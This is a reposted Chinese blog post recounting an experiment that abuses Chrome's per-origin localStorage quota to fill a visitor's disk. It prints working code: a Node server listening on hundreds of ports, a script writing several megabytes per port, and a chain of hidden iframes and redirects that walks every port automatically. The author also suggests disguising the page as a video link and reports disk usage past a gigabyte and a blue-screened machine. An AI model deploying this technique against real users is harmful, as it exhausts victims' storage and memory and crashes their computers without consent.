有人說,前端的界限就在瀏覽器那兒。
無論你觸發(fā)了多少bug,最多導(dǎo)致瀏覽器崩潰,對系統(tǒng)影響不到哪去。
這就像二次元各種炫酷的毀滅世界,都不會導(dǎo)致三次元的世界末日。
然而,作為一個(gè)前端,我發(fā)現(xiàn)是有方式打開次元大門的…
這個(gè)實(shí)驗(yàn)?zāi)X洞較大,動(dòng)機(jī)無聊,但某種意義上反映了一些 安全問題。
想象一下,有天你在家里上網(wǎng),吃著火鍋還唱著歌, 點(diǎn)開一個(gè)鏈接,電腦突然就藍(lán)屏了!想想還真有點(diǎn)小激動(dòng)。
起因
故事得從localStorage說起。
html5的本地存儲,相信大家都不陌生。將數(shù)據(jù)以二進(jìn)制文件形式存儲到本地,在當(dāng)前應(yīng)用得非常廣泛。
windows下的chrome,localStorage存儲于 C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
文件夾中。但如果任由網(wǎng)頁無限寫文件,對用戶硬盤的傷害可想而知,因而瀏覽器對其做了大小限制。
對于一個(gè)域名+端口,PC側(cè)的上限是5M-10M之間,移動(dòng)側(cè)是則不大于2.5M。
那么問題就變成: 這樣的限制足夠保護(hù)用戶硬盤了嗎?
關(guān)鍵
關(guān)鍵的問題在于,這一限制,針對的是一個(gè) 域名+端口
。
也就是說,你訪問 同一個(gè)域名的不同端口
,它們的localStorage并無關(guān)聯(lián),是分開存儲的。
我用node簡單地開啟了服務(wù)器,這時(shí),用戶訪問 http://127.0.0.1:1000
到 http://127.0.0.1:1099
這100個(gè)端口,會請求到同一個(gè)頁面: index.html
:
var http = require('http'); var fs = require('fs'); //100個(gè)端口 for(var port = 1000; port< 1100; port++){ http.createServer(function (request, response) { //請忽略這種循環(huán)讀文件的方式,只為了簡便 fs.readFile('./index.html', function(err, content){ if(err) { } else { response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1'); }
當(dāng)然,這個(gè)index.html里涉及了localStorage寫操作。
var s = ""; //慢慢來,別寫太大了,好害怕… for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem("testData", s);
我試著用瀏覽器分別訪問了幾個(gè)端口,結(jié)果是分開存儲。一切跟劇本一樣。
自動(dòng)遍歷
但這種程度還不夠。
如果要實(shí)驗(yàn)變得更好(xie)玩(e)一些,問題就變成如何 讓用戶自動(dòng)遍歷這些端口
?
iframe是個(gè)好的嘗試。
只要一打開 http://127.0.0.1: 1000
,頁面的腳步就會創(chuàng)建一個(gè)iframe,去請求 http://127.0.0.1: 1001
,一直循環(huán)下去。
var _key = "testData";
var _max = 1100; //最大限制
return {
init: function(){
//慢慢來,別寫太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);
var port = parseInt(location.port)+1;
if(port > _max) return;
//新添加iframe
var url = "http://127.0.0.1:" + port;
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
})();
當(dāng)然iframe我們還可以設(shè)置為不可見,以掩蓋這種不厚道的行為…
比方說,有人發(fā)給你一個(gè)鏈接,你打開后發(fā)現(xiàn)是個(gè)視頻,而你根本注意不到背后的腳本,在視頻播放的幾分鐘里,快要把你的C盤寫滿。
但是,請求到1081端口,最新的chrome就崩潰掉了…原來iframe嵌套太多,已經(jīng)到達(dá)了瀏覽器的極限。
###防止瀏覽器崩潰
C盤還未撐滿,同志還需努力。怎么辦?
突然想到,到達(dá)iframe極限之前,我們可以重定向啊。
每訪問50個(gè)端口,就使用 window.location.href
重定向一次,去確保瀏覽器不崩潰。
var Main = (function(){ var _key = "testData"; var _max = 1200; //最大限制 var _jumpSpace = 50; //為避免iframe過多導(dǎo)致瀏覽器crash,每50個(gè)執(zhí)行跳轉(zhuǎn) return { init: function(){ //慢慢來,別寫太大了,好害怕… var s = ""; for(var i=0; i< 3 * 1024 * 1024; i++){ s += "0"; } localStorage.setItem(_key, s); var port = parseInt(location.port)+1; if(port > _max) return; if(port % _jumpSpace == 0){ //每50個(gè),重定向一次 window.location.href = url; }else{ //新添加iframe var $iframe = document.createElement("iframe"); $iframe.src = url; document.getElementsByTagName("body")[0].appendChild($iframe); } } } })();
事實(shí)證明,這種蠻拼的方法的確可行。
至此,只要訪問 http://127.0.0.1: 1000
,就會往Local Storage文件夾里寫入近500M無用數(shù)據(jù):
繼續(xù)實(shí)驗(yàn)的黑科技
算了下我的C盤還有空間嘛,那就把端口數(shù)量從100增長到200個(gè)。
結(jié)果是這樣的,到達(dá)了1.17G大小。
在后續(xù)的實(shí)驗(yàn)中,我就慢慢的把端口數(shù)量與存儲的數(shù)據(jù)調(diào)大。
電腦也運(yùn)行得越來越慢。這是為什么呢?
我觀察到,有時(shí)候執(zhí)行 localStorage.setItem()
后,在文件夾里不一定立即能看到數(shù)據(jù)文件。
懷疑這些數(shù)據(jù)會被chrome先放到內(nèi)存里,以避免重復(fù)讀寫帶來的消耗,在空閑或關(guān)閉的時(shí)機(jī),再寫進(jìn)硬盤里。
但此時(shí),瀏覽器已經(jīng)影響到系統(tǒng)了。它處于一種“不會崩潰”,但“因?yàn)檎加昧嗽S多內(nèi)存,已經(jīng)妨礙用戶電腦的正常使用”的狀態(tài)。
即使用戶關(guān)閉了瀏覽器窗口,也不會很快恢復(fù)。要知道讀寫任務(wù)并不是隨窗口關(guān)閉而終止的,否則瀏覽器會丟失數(shù)據(jù)。
遭遇黑科技的人們能做的只有:
- 等待;
- 用任務(wù)管理器關(guān)掉chrome進(jìn)程,再等待;
- 相信并嘗試“重啟電腦解決90%電腦問題”的科學(xué)論斷
可以說,瀏覽器的內(nèi)心幾乎是崩潰的。
最后
最后,還是得用嚴(yán)肅臉告誡一下:害人之心不可無。
本實(shí)驗(yàn),從一開始就是懷揣著將 安全問題上交給國家的初衷
去做的(是的就是這么純粹)。
后續(xù),看著C盤還有2G空間,我又把端口增長到2000個(gè),試下會發(fā)生什么。
由于請求過多,需要一定時(shí)間,我就去做別的事情了。
回來后發(fā)現(xiàn)房間安靜祥和,美輪美奐,一片藍(lán)光,像是加了特技。
那么問題來了,計(jì)算機(jī)修理哪家強(qiáng)?
有點(diǎn)急…
原文http://litten.github.io/2015/07/06/hack-in-localstorage/
轉(zhuǎn)載請注明出處 AE博客|墨淵 ? 作為一個(gè)前端,可以如何機(jī)智地弄壞一臺電腦?
發(fā)表評論